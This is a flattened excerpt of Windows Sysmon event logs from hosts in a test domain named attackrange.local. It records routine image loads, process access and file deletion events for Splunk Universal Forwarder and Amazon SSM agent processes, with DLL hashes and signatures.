Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000056043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000056042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000056041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000056040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000056039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000056038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000056037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000056036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000056035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000056034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000056033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000056032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000056031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000056030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000056029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000056028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000056027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000056026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000056024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000056023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000056022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exeMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25trueSplunk, Inc.Valid 10341000x800000000000000056021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000056017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000056016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.729{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000056015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.730{7BD73061-74A8-613B-A20B-00000000F001}6048C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017925Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:20.732{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6A9F3632B585E4CC691C7BFE6807B2BC,SHA256=BBC06F7FD38D60C86E546C9E3523472C21F790626800F8729BBDAA68AD117241,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000056014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.265{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000056013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.265{7BD73061-74A8-613B-A10B-00000000F001}62604828C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000056012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.265{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000056011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.265{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000056010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.220{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-061MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000056009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.082{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000056008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.082{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000056007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.082{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000056006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.082{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000056005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.082{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000056004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:07:20.082{7BD73061-74A8-613B-A10B-00000000F001}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft 